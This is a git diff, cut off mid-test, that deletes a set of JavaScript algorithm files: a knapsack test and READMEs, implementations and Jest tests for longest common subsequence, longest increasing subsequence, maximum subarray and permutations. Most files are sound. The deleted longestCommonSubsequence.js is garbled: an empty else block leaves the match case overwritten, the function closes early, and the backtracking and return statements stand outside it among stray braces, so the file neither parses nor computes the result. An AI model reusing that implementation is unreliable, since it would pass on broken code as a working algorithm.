index d276db557a..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/test/KnapsackItem.test.js
+++ /dev/null
@@ -1,29 +0,0 @@
-import KnapsackItem from '../KnapsackItem';
-describe('KnapsackItem', () => {
-    it('should create knapsack item and count its total weight and value', () => {
-        const knapsackItem = new KnapsackItem({ value: 3, weight: 2 });
-        expect(knapsackItem.value).toBe(3);
-        expect(knapsackItem.weight).toBe(2);
-        expect(knapsackItem.quantity).toBe(1);
-        expect(knapsackItem.valuePerWeightRatio).toBe(1.5);
-        expect(knapsackItem.toString()).toBe('v3 w2 x 1');
-        expect(knapsackItem.totalValue).toBe(3);
-        expect(knapsackItem.totalWeight).toBe(2);
-        knapsackItem.quantity = 0;
-        expect(knapsackItem.value).toBe(3);
-        expect(knapsackItem.weight).toBe(2);
-        expect(knapsackItem.quantity).toBe(0);
-        expect(knapsackItem.valuePerWeightRatio).toBe(1.5);
-        expect(knapsackItem.toString()).toBe('v3 w2 x 0');
-        expect(knapsackItem.totalValue).toBe(0);
-        expect(knapsackItem.totalWeight).toBe(0);
-        knapsackItem.quantity = 2;
-        expect(knapsackItem.value).toBe(3);
-        expect(knapsackItem.weight).toBe(2);
-        expect(knapsackItem.quantity).toBe(2);
-        expect(knapsackItem.valuePerWeightRatio).toBe(1.5);
-        expect(knapsackItem.toString()).toBe('v3 w2 x 2');
-        expect(knapsackItem.totalValue).toBe(6);
-        expect(knapsackItem.totalWeight).toBe(4);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/README.md b/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/README.md
deleted file mode 100644
index 6cae61f44e..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# Longest common subsequence problem
-
-The longest common subsequence (LCS) problem is the problem of finding
-the longest subsequence common to all sequences in a set of sequences
-(often just two sequences). It differs from the longest common substring
-problem: unlike substrings, subsequences are not required to occupy
-consecutive positions within the original sequences.
-
-## Application
-
-The longest common subsequence problem is a classic computer science
-problem, the basis of data comparison programs such as the diff utility,
-and has applications in bioinformatics. It is also widely used by
-revision control systems such as Git for reconciling multiple changes
-made to a revision-controlled collection of files.
-
-## Example
-
--   LCS for input Sequences `ABCDGH` and `AEDFHR` is `ADH` of length 3.
--   LCS for input Sequences `AGGTAB` and `GXTXAYB` is `GTAB` of length 4.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Longest_common_subsequence_problem)
--   [YouTube](https://www.youtube.com/watch?v=NnD96abizww&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/longestCommonSubsequence.js b/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/longestCommonSubsequence.js
deleted file mode 100644
index 241afaf152..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/longestCommonSubsequence.js
+++ /dev/null
@@ -1,53 +0,0 @@
-/**
- * @param {string[]} set1
- * @param {string[]} set2
- * @return {string[]}
- */
-export default function longestCommonSubsequence(set1, set2) {
-    // Init LCS matrix.
-    const lcsMatrix = Array(set2.length + 1)
-        .fill(null)
-        .map(() => Array(set1.length + 1).fill(null));
-    // Fill first row with zeros.
-    for (let columnIndex = 0; columnIndex <= set1.length; columnIndex += 1) {
-        lcsMatrix[0][columnIndex] = 0;
-    }
-    // Fill first column with zeros.
-    for (let rowIndex = 0; rowIndex <= set2.length; rowIndex += 1) {
-        lcsMatrix[rowIndex][0] = 0;
-    }
-    // Fill rest of the column that correspond to each of two strings.
-    for (let rowIndex = 1; rowIndex <= set2.length; rowIndex += 1) {
-        for (let columnIndex = 1; columnIndex <= set1.length; columnIndex += 1) {
-            if (set1[columnIndex - 1] === set2[rowIndex - 1]) {
-                lcsMatrix[rowIndex][columnIndex] = lcsMatrix[rowIndex - 1][columnIndex - 1] + 1;
-            } else {}
-            lcsMatrix[rowIndex][columnIndex] = Math.max(lcsMatrix[rowIndex - 1][columnIndex], lcsMatrix[rowIndex][columnIndex - 1]);
-        }
-    }
-}
-// Calculate LCS based on LCS matrix.
-if (!lcsMatrix[set2.length][set1.length]) {
-    // If the length of largest common string is zero then return empty string.
-    return [''];
-}
-const longestSequence = [];
-let columnIndex = set1.length;
-let rowIndex = set2.length;
-while (columnIndex > 0 || rowIndex > 0) {
-    if (set1[columnIndex - 1] === set2[rowIndex - 1]) {
-        // Move by diagonal left-top.
-        longestSequence.unshift(set1[columnIndex - 1]);
-        columnIndex -= 1;
-        rowIndex -= 1;
-    } else if (lcsMatrix[rowIndex][columnIndex] === lcsMatrix[rowIndex][columnIndex - 1]) {
-        // Move left.
-        columnIndex -= 1;
-    } else {
-        // Move up.
-        rowIndex -= 1;
-    }
-}
-return longestSequence;
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/test/longestCommonSubsequence.test.js b/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/test/longestCommonSubsequence.test.js
deleted file mode 100644
index 57a5da3255..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/longest-common-subsequence/test/longestCommonSubsequence.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import longestCommonSubsequence from '../longestCommonSubsequence';
-describe('longestCommonSubsequence', () => {
-    it('should find longest common subsequence for two strings', () => {
-        expect(longestCommonSubsequence([''], [''])).toEqual(['']);
-        expect(longestCommonSubsequence([''], ['A', 'B', 'C'])).toEqual(['']);
-        expect(longestCommonSubsequence(['A', 'B', 'C'], [''])).toEqual(['']);
-        expect(longestCommonSubsequence(['A', 'B', 'C'], ['D', 'E', 'F', 'G'])).toEqual(['']);
-        expect(longestCommonSubsequence(['A', 'B', 'C', 'D', 'G', 'H'], ['A', 'E', 'D', 'F', 'H', 'R'])).toEqual(['A', 'D', 'H']);
-        expect(longestCommonSubsequence(['A', 'G', 'G', 'T', 'A', 'B'], ['G', 'X', 'T', 'X', 'A', 'Y', 'B'])).toEqual(['G', 'T', 'A', 'B']);
-        expect(longestCommonSubsequence(['A', 'B', 'C', 'D', 'A', 'F'], ['A', 'C', 'B', 'C', 'F'])).toEqual(['A', 'B', 'C', 'F']);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/README.md b/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/README.md
deleted file mode 100644
index c50c30123d..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/README.md
+++ /dev/null
@@ -1,46 +0,0 @@
-# Longest Increasing Subsequence
-
-The longest increasing subsequence problem is to find a subsequence of a
-given sequence in which the subsequence's elements are in sorted order,
-lowest to highest, and in which the subsequence is as long as possible.
-This subsequence is not necessarily contiguous, or unique.
-
-## Complexity
-
-The longest increasing subsequence problem is solvable in
-time `O(n log n)`, where `n` denotes the length of the input sequence.
-
-Dynamic programming approach has complexity `O(n * n)`.
-
-## Example
-
-In the first 16 terms of the binary Van der Corput sequence
-
-```
-0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15
-```
-
-a longest increasing subsequence is
-
-```
-0, 2, 6, 9, 11, 15.
-```
-
-This subsequence has length six;
-the input sequence has no seven-member increasing subsequences.
-The longest increasing subsequence in this example is not unique: for
-instance,
-
-```
-0, 4, 6, 9, 11, 15 or
-0, 2, 6, 9, 13, 15 or
-0, 4, 6, 9, 13, 15
-```
-
-are other increasing subsequences of equal length in the same
-input sequence.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Longest_increasing_subsequence)
--   [Dynamic Programming Approach on YouTube](https://www.youtube.com/watch?v=CE2b_-XfVDk&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/dpLongestIncreasingSubsequence.js b/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/dpLongestIncreasingSubsequence.js
deleted file mode 100644
index afa0c749f0..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/dpLongestIncreasingSubsequence.js
+++ /dev/null
@@ -1,46 +0,0 @@
-/**
- * Dynamic programming approach to find longest increasing subsequence.
- * Complexity: O(n * n)
- *
- * @param {number[]} sequence
- * @return {number}
- */
-export default function dpLongestIncreasingSubsequence(sequence) {
-    // Create array with longest increasing substrings length and
-    // fill it with 1-s that would mean that each element of the sequence
-    // is itself a minimum increasing subsequence.
-    const lengthsArray = Array(sequence.length).fill(1);
-    let previousElementIndex = 0;
-    let currentElementIndex = 1;
-    while (currentElementIndex < sequence.length) {
-        if (sequence[previousElementIndex] < sequence[currentElementIndex]) {
-            // If current element is bigger then the previous one then
-            // current element is a part of increasing subsequence which
-            // length is by one bigger then the length of increasing subsequence
-            // for previous element.
-            const newLength = lengthsArray[previousElementIndex] + 1;
-            if (newLength > lengthsArray[currentElementIndex]) {
-                // Increase only if previous element would give us bigger subsequence length
-                // then we already have for current element.
-                lengthsArray[currentElementIndex] = newLength;
-            }
-        }
-        // Move previous element index right.
-        previousElementIndex += 1;
-        // If previous element index equals to current element index then
-        // shift current element right and reset previous element index to zero.
-        if (previousElementIndex === currentElementIndex) {
-            currentElementIndex += 1;
-            previousElementIndex = 0;
-        }
-    }
-    // Find the biggest element in lengthsArray.
-    // This number is the biggest length of increasing subsequence.
-    let longestIncreasingLength = 0;
-    for (let i = 0; i < lengthsArray.length; i += 1) {
-        if (lengthsArray[i] > longestIncreasingLength) {
-            longestIncreasingLength = lengthsArray[i];
-        }
-    }
-    return longestIncreasingLength;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/test/dpLongestIncreasingSubsequence.test.js b/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/test/dpLongestIncreasingSubsequence.test.js
deleted file mode 100644
index 4adfb20dd5..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/longest-increasing-subsequence/test/dpLongestIncreasingSubsequence.test.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import dpLongestIncreasingSubsequence from '../dpLongestIncreasingSubsequence';
-describe('dpLongestIncreasingSubsequence', () => {
-    it('should find longest increasing subsequence length', () => {
-        // Should be:
-        // 9 or
-        // 8 or
-        // 7 or
-        // 6 or
-        // ...
-        expect(dpLongestIncreasingSubsequence([9, 8, 7, 6, 5, 4, 3, 2, 1, 0])).toBe(1);
-        // Should be:
-        // 0, 1, 2, 3, 4, 5, 6, 7, 8, 9
-        expect(dpLongestIncreasingSubsequence([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])).toBe(10);
-        // Should be:
-        // -1, 0, 2, 3
-        expect(dpLongestIncreasingSubsequence([3, 4, -1, 0, 6, 2, 3])).toBe(4);
-        // Should be:
-        // 0, 2, 6, 9, 11, 15 or
-        // 0, 4, 6, 9, 11, 15 or
-        // 0, 2, 6, 9, 13, 15 or
-        // 0, 4, 6, 9, 13, 15
-        expect(dpLongestIncreasingSubsequence([0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15])).toBe(6);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/README.md b/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/README.md
deleted file mode 100644
index 0af472b122..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/README.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Maximum subarray problem
-
-The maximum subarray problem is the task of finding the contiguous
-subarray within a one-dimensional array, `a[1...n]`, of numbers
-which has the largest sum, where,
-
-![Maximum subarray](https://wikimedia.org/api/rest_v1/media/math/render/svg/e8960f093107b71b21827e726e2bad8b023779b2)
-
-![Maximum subarray](https://www.geeksforgeeks.org/wp-content/uploads/kadane-Algorithm.png)
-
-## Example
-
-The list usually contains both positive and negative numbers along
-with `0`. For example, for the array of
-values `−2, 1, −3, 4, −1, 2, 1, −5, 4` the contiguous subarray
-with the largest sum is `4, −1, 2, 1`, with sum `6`.
-
-## Solutions
-
--   Brute Force solution `O(n^2)`: [bfMaximumSubarray.js](./bfMaximumSubarray.js)
--   Divide and Conquer solution `O(n^2)`: [dcMaximumSubarraySum.js](./dcMaximumSubarraySum.js)
--   Dynamic Programming solution `O(n)`: [dpMaximumSubarray.js](./dpMaximumSubarray.js)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Maximum_subarray_problem)
--   [YouTube](https://www.youtube.com/watch?v=ohHWQf1HDfU&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [GeeksForGeeks](https://www.geeksforgeeks.org/largest-sum-contiguous-subarray/)
--   [LeetCode](https://leetcode.com/explore/interview/card/top-interview-questions-easy/97/dynamic-programming/566/discuss/1595195/C++Python-7-Simple-Solutions-w-Explanation-or-Brute-Force-+-DP-+-Kadane-+-Divide-and-Conquer)
diff --git a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/bfMaximumSubarray.js b/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/bfMaximumSubarray.js
deleted file mode 100644
index a8999ffbc4..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/bfMaximumSubarray.js
+++ /dev/null
@@ -1,24 +0,0 @@
-/**
- * Brute Force solution.
- * Complexity: O(n^2)
- *
- * @param {Number[]} inputArray
- * @return {Number[]}
- */
-export default function bfMaximumSubarray(inputArray) {
-    let maxSubarrayStartIndex = 0;
-    let maxSubarrayLength = 0;
-    let maxSubarraySum = null;
-    for (let startIndex = 0; startIndex < inputArray.length; startIndex += 1) {
-        let subarraySum = 0;
-        for (let arrLength = 1; arrLength <= inputArray.length - startIndex; arrLength += 1) {
-            subarraySum += inputArray[startIndex + (arrLength - 1)];
-            if (maxSubarraySum === null || subarraySum > maxSubarraySum) {
-                maxSubarraySum = subarraySum;
-                maxSubarrayStartIndex = startIndex;
-                maxSubarrayLength = arrLength;
-            }
-        }
-    }
-    return inputArray.slice(maxSubarrayStartIndex, maxSubarrayStartIndex + maxSubarrayLength);
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/dcMaximumSubarraySum.js b/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/dcMaximumSubarraySum.js
deleted file mode 100644
index 3f3bfd20d1..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/dcMaximumSubarraySum.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/**
- * Divide and Conquer solution.
- * Complexity: O(n^2) in case if no memoization applied
- *
- * @param {Number[]} inputArray
- * @return {Number[]}
- */
-export default function dcMaximumSubarraySum(inputArray) {
-    /**
-     * We are going through the inputArray array and for each element we have two options:
-     * - to pick
-     * - not to pick
-     *
-     * Also keep in mind, that the maximum sub-array must be contiguous. It means if we picked
-     * the element, we need to continue picking the next elements or stop counting the max sum.
-     *
-     * @param {number} elementIndex - the index of the element we're deciding to pick or not
-     * @param {boolean} mustPick - to pick or not to pick the element
-     * @returns {number} - maximum subarray sum that we'll get
-     */
-    function solveRecursively(elementIndex, mustPick) {
-        if (elementIndex >= inputArray.length) {
-            return mustPick ? 0 : -Infinity;
-        }
-        return Math.max(
-            // Option #1: Pick the current element, and continue picking next one.
-            inputArray[elementIndex] + solveRecursively(elementIndex + 1, true),
-            // Option #2: Don't pick the current element.
-            mustPick ? 0 : solveRecursively(elementIndex + 1, false)
-        );
-    }
-    return solveRecursively(0, false);
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/dpMaximumSubarray.js b/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/dpMaximumSubarray.js
deleted file mode 100644
index a4bf0f3e0c..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/dpMaximumSubarray.js
+++ /dev/null
@@ -1,39 +0,0 @@
-/**
- * Dynamic Programming solution.
- * Complexity: O(n)
- *
- * @param {Number[]} inputArray
- * @return {Number[]}
- */
-export default function dpMaximumSubarray(inputArray) {
-    // We iterate through the inputArray once, using a greedy approach to keep track of the maximum
-    // sum we've seen so far and the current sum.
-    //
-    // The currentSum variable gets reset to 0 every time it drops below 0.
-    //
-    // The maxSum variable is set to -Infinity so that if all numbers are negative, the highest
-    // negative number will constitute the maximum subarray.
-    let maxSum = -Infinity;
-    let currentSum = 0;
-    // We need to keep track of the starting and ending indices that contributed to our maxSum
-    // so that we can return the actual subarray. From the beginning let's assume that whole array
-    // is contributing to maxSum.
-    let maxStartIndex = 0;
-    let maxEndIndex = inputArray.length - 1;
-    let currentStartIndex = 0;
-    inputArray.forEach((currentNumber, currentIndex) => {
-        currentSum += currentNumber;
-        // Update maxSum and the corresponding indices if we have found a new max.
-        if (maxSum < currentSum) {
-            maxSum = currentSum;
-            maxStartIndex = currentStartIndex;
-            maxEndIndex = currentIndex;
-        }
-        // Reset currentSum and currentStartIndex if currentSum drops below 0.
-        if (currentSum < 0) {
-            currentSum = 0;
-            currentStartIndex = currentIndex + 1;
-        }
-    });
-    return inputArray.slice(maxStartIndex, maxEndIndex + 1);
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/bfMaximumSubarray.test.js b/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/bfMaximumSubarray.test.js
deleted file mode 100644
index ec9ae71014..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/bfMaximumSubarray.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import bfMaximumSubarray from '../bfMaximumSubarray';
-describe('bfMaximumSubarray', () => {
-    it('should find maximum subarray using the brute force algorithm', () => {
-        expect(bfMaximumSubarray([])).toEqual([]);
-        expect(bfMaximumSubarray([0, 0])).toEqual([0]);
-        expect(bfMaximumSubarray([0, 0, 1])).toEqual([0, 0, 1]);
-        expect(bfMaximumSubarray([0, 0, 1, 2])).toEqual([0, 0, 1, 2]);
-        expect(bfMaximumSubarray([0, 0, -1, 2])).toEqual([2]);
-        expect(bfMaximumSubarray([-1, -2, -3, -4, -5])).toEqual([-1]);
-        expect(bfMaximumSubarray([1, 2, 3, 2, 3, 4, 5])).toEqual([1, 2, 3, 2, 3, 4, 5]);
-        expect(bfMaximumSubarray([-2, 1, -3, 4, -1, 2, 1, -5, 4])).toEqual([4, -1, 2, 1]);
-        expect(bfMaximumSubarray([-2, -3, 4, -1, -2, 1, 5, -3])).toEqual([4, -1, -2, 1, 5]);
-        expect(bfMaximumSubarray([1, -3, 2, -5, 7, 6, -1, 4, 11, -23])).toEqual([7, 6, -1, 4, 11]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/dcMaximumSubarraySum.test.js b/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/dcMaximumSubarraySum.test.js
deleted file mode 100644
index 7574162557..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/dcMaximumSubarraySum.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import dcMaximumSubarray from '../dcMaximumSubarraySum';
-describe('dcMaximumSubarraySum', () => {
-    it('should find maximum subarray sum using the divide and conquer algorithm', () => {
-        expect(dcMaximumSubarray([])).toEqual(-Infinity);
-        expect(dcMaximumSubarray([0, 0])).toEqual(0);
-        expect(dcMaximumSubarray([0, 0, 1])).toEqual(1);
-        expect(dcMaximumSubarray([0, 0, 1, 2])).toEqual(3);
-        expect(dcMaximumSubarray([0, 0, -1, 2])).toEqual(2);
-        expect(dcMaximumSubarray([-1, -2, -3, -4, -5])).toEqual(-1);
-        expect(dcMaximumSubarray([1, 2, 3, 2, 3, 4, 5])).toEqual(20);
-        expect(dcMaximumSubarray([-2, 1, -3, 4, -1, 2, 1, -5, 4])).toEqual(6);
-        expect(dcMaximumSubarray([-2, -3, 4, -1, -2, 1, 5, -3])).toEqual(7);
-        expect(dcMaximumSubarray([1, -3, 2, -5, 7, 6, -1, 4, 11, -23])).toEqual(27);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/dpMaximumSubarray.test.js b/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/dpMaximumSubarray.test.js
deleted file mode 100644
index e5ee18ec75..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/maximum-subarray/test/dpMaximumSubarray.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import dpMaximumSubarray from '../dpMaximumSubarray';
-describe('dpMaximumSubarray', () => {
-    it('should find maximum subarray using the dynamic programming algorithm', () => {
-        expect(dpMaximumSubarray([])).toEqual([]);
-        expect(dpMaximumSubarray([0, 0])).toEqual([0]);
-        expect(dpMaximumSubarray([0, 0, 1])).toEqual([0, 0, 1]);
-        expect(dpMaximumSubarray([0, 0, 1, 2])).toEqual([0, 0, 1, 2]);
-        expect(dpMaximumSubarray([0, 0, -1, 2])).toEqual([2]);
-        expect(dpMaximumSubarray([-1, -2, -3, -4, -5])).toEqual([-1]);
-        expect(dpMaximumSubarray([1, 2, 3, 2, 3, 4, 5])).toEqual([1, 2, 3, 2, 3, 4, 5]);
-        expect(dpMaximumSubarray([-2, 1, -3, 4, -1, 2, 1, -5, 4])).toEqual([4, -1, 2, 1]);
-        expect(dpMaximumSubarray([-2, -3, 4, -1, -2, 1, 5, -3])).toEqual([4, -1, -2, 1, 5]);
-        expect(dpMaximumSubarray([1, -3, 2, -5, 7, 6, -1, 4, 11, -23])).toEqual([7, 6, -1, 4, 11]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/permutations/README.md b/docs/content/DS_ALGO/algorithms/sets/permutations/README.md
deleted file mode 100644
index b2bb9b4301..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/permutations/README.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# Permutations
-
-When the order doesn't matter, it is a **Combination**.
-
-When the order **does** matter it is a **Permutation**.
-
-**"The combination to the safe is 472"**. We do care about the order. `724` won't work, nor will `247`.
-It has to be exactly `4-7-2`.
-
-## Permutations without repetitions
-
-A permutation, also called an "arrangement number" or "order", is a rearrangement of
-the elements of an ordered list `S` into a one-to-one correspondence with `S` itself.
-
-Below are the permutations of string `ABC`.
-
-```MATH
-ABC  ACB  BAC  BCA  CBA  CAB
-```
-
-Or for example the first three people in a running race: you can't be first and second.
-
-**Number of combinations**
-
-```MATH
-n * (n-1) * (n -2) * ... * 1 = n!
-```
-
-## Permutations with repetitions
-
-When repetition is allowed we have permutations with repetitions.
-For example the the lock below: it could be `333`.
-
-###### Number of combinations
-
-```MATH
-n * n * n ... (r times) = n^r
-```
-
-## Cheat Sheets
-
-Permutations cheat sheet
-
-![Permutations Cheat Sheet](https://cdn-images-1.medium.com/max/2000/1*JNK-n0Pt0Vbxk0lxVpgT5A.png)
-
-Combinations cheat sheet
-
-![Combinations Cheat Sheet](https://cdn-images-1.medium.com/max/2000/1*7cFRn8jW4g_91YgDAbmxRQ.png)
-
-Permutations/combinations algorithm ideas.
-
-![Algorithms Idea](https://cdn-images-1.medium.com/max/2000/1*vLsSsZMnesCFPCYTYMbxrQ.png)
-
-## References
-
--   [Math Is Fun](https://www.mathsisfun.com/combinatorics/combinations-permutations.html)
--   [Permutations/combinations cheat sheets](https://medium.com/@trekhleb/permutations-combinations-algorithms-cheat-sheet-68c14879aba5)
diff --git a/docs/content/DS_ALGO/algorithms/sets/permutations/permutateWithRepetitions.js b/docs/content/DS_ALGO/algorithms/sets/permutations/permutateWithRepetitions.js
deleted file mode 100644
index 57d44fb2f7..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/permutations/permutateWithRepetitions.js
+++ /dev/null
@@ -1,21 +0,0 @@
-/**
- * @param {*[]} permutationOptions
- * @param {number} permutationLength
- * @return {*[]}
- */
-export default function permutateWithRepetitions(permutationOptions, permutationLength = permutationOptions.length) {
-    if (permutationLength === 1) {
-        return permutationOptions.map((permutationOption) => [permutationOption]);
-    }
-    // Init permutations array.
-    const permutations = [];
-    // Get smaller permutations.
-    const smallerPermutations = permutateWithRepetitions(permutationOptions, permutationLength - 1);
-    // Go through all options and join it to the smaller permutations.
-    permutationOptions.forEach((currentOption) => {
-        smallerPermutations.forEach((smallerPermutation) => {
-            permutations.push([currentOption].concat(smallerPermutation));
-        });
-    });
-    return permutations;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/permutations/permutateWithoutRepetitions.js b/docs/content/DS_ALGO/algorithms/sets/permutations/permutateWithoutRepetitions.js
deleted file mode 100644
index 50cba0dd2f..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/permutations/permutateWithoutRepetitions.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/**
- * @param {*[]} permutationOptions
- * @return {*[]}
- */
-export default function permutateWithoutRepetitions(permutationOptions) {
-    if (permutationOptions.length === 1) {
-        return [permutationOptions];
-    }
-    // Init permutations array.
-    const permutations = [];
-    // Get all permutations for permutationOptions excluding the first element.
-    const smallerPermutations = permutateWithoutRepetitions(permutationOptions.slice(1));
-    // Insert first option into every possible position of every smaller permutation.
-    const firstOption = permutationOptions[0];
-    for (let permIndex = 0; permIndex < smallerPermutations.length; permIndex += 1) {
-        const smallerPermutation = smallerPermutations[permIndex];
-        // Insert first option into every possible position of smallerPermutation.
-        for (let positionIndex = 0; positionIndex <= smallerPermutation.length; positionIndex += 1) {
-            const permutationPrefix = smallerPermutation.slice(0, positionIndex);
-            const permutationSuffix = smallerPermutation.slice(positionIndex);
-            permutations.push(permutationPrefix.concat([firstOption], permutationSuffix));
-        }
-    }
-    return permutations;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/permutations/test/permutateWithRepetitions.test.js b/docs/content/DS_ALGO/algorithms/sets/permutations/test/permutateWithRepetitions.test.js
deleted file mode 100644
index 4f08c18fa2..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/permutations/test/permutateWithRepetitions.test.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import permutateWithRepetitions from '../permutateWithRepetitions';
-describe('permutateWithRepetitions', () => {
-    it('should permutate string with repetition', () => {
-        const permutations1 = permutateWithRepetitions(['A']);
-        expect(permutations1).toEqual([['A']]);
-        const permutations2 = permutateWithRepetitions(['A', 'B']);
-        expect(permutations2).toEqual([
-            ['A', 'A'],
-            ['A', 'B'],
-            ['B', 'A'],
-            ['B', 'B']
-        ]);
-        const permutations3 = permutateWithRepetitions(['A', 'B', 'C']);
-        expect(permutations3).toEqual([
-            ['A', 'A', 'A'],
-            ['A', 'A', 'B'],
-            ['A', 'A', 'C'],
-            ['A', 'B', 'A'],
-            ['A', 'B', 'B'],
-            ['A', 'B', 'C'],
-            ['A', 'C', 'A'],
-            ['A', 'C', 'B'],
-            ['A', 'C', 'C'],
-            ['B', 'A', 'A'],
-            ['B', 'A', 'B'],
-            ['B', 'A', 'C'],
-            ['B', 'B', 'A'],
-            ['B', 'B', 'B'],
-            ['B', 'B', 'C'],
-            ['B', 'C', 'A'],
-            ['B', 'C', 'B'],
-            ['B', 'C', 'C'],
-            ['C', 'A', 'A'],
-            ['C', 'A', 'B'],
-            ['C', 'A', 'C'],
-            ['C', 'B', 'A'],
-            ['C', 'B', 'B'],
-            ['C', 'B', 'C'],
-            ['C', 'C', 'A'],
-            ['C', 'C', 'B'],
-            ['C', 'C', 'C']
-        ]);
-        const permutations4 = permutateWithRepetitions(['A', 'B', 'C', 'D']);
-        expect(permutations4.length).toBe(4 * 4 * 4 * 4);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/permutations/test/permutateWithoutRepetitions.test.js b/docs/content/DS_ALGO/algorithms/sets/permutations/test/permutateWithoutRepetitions.test.js
deleted file mode 100644
index 9763f244e9..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/permutations/test/permutateWithoutRepetitions.test.js
+++ /dev/null
@@ -1,60 +0,0 @@
-import permutateWithoutRepetitions from '../permutateWithoutRepetitions';
-import factorial from '../../../math/factorial/factorial';
-describe('permutateWithoutRepetitions', () => {
-    it('should permutate string', () => {
-        const permutations1 = permutateWithoutRepetitions(['A']);
-        expect(permutations1).toEqual([['A']]);
-        const permutations2 = permutateWithoutRepetitions(['A', 'B']);
-        expect(permutations2.length).toBe(2);
-        expect(permutations2).toEqual([
-            ['A', 'B'],
-            ['B', 'A']
-        ]);
-        const permutations6 = permutateWithoutRepetitions(['A', 'A']);
-        expect(permutations6.length).toBe(2);
-        expect(permutations6).toEqual([
-            ['A', 'A'],
-            ['A', 'A']
-        ]);
-        const permutations3 = permutateWithoutRepetitions(['A', 'B', 'C']);
-        expect(permutations3.length).toBe(factorial(3));
-        expect(permutations3).toEqual([
-            ['A', 'B', 'C'],
-            ['B', 'A', 'C'],
-            ['B', 'C', 'A'],
-            ['A', 'C', 'B'],
-            ['C', 'A', 'B'],
-            ['C', 'B', 'A']
-        ]);
-        const permutations4 = permutateWithoutRepetitions(['A', 'B', 'C', 'D']);
-        expect(permutations4.length).toBe(factorial(4));
-        expect(permutations4).toEqual([
-            ['A', 'B', 'C', 'D'],
-            ['B', 'A', 'C', 'D'],
-            ['B', 'C', 'A', 'D'],
-            ['B', 'C', 'D', 'A'],
-            ['A', 'C', 'B', 'D'],
-            ['C', 'A', 'B', 'D'],
-            ['C', 'B', 'A', 'D'],
-            ['C', 'B', 'D', 'A'],
-            ['A', 'C', 'D', 'B'],
-            ['C', 'A', 'D', 'B'],
-            ['C', 'D', 'A', 'B'],
-            ['C', 'D', 'B', 'A'],
-            ['A', 'B', 'D', 'C'],
-            ['B', 'A', 'D', 'C'],
-            ['B', 'D', 'A', 'C'],
-            ['B', 'D', 'C', 'A'],
-            ['A', 'D', 'B', 'C'],
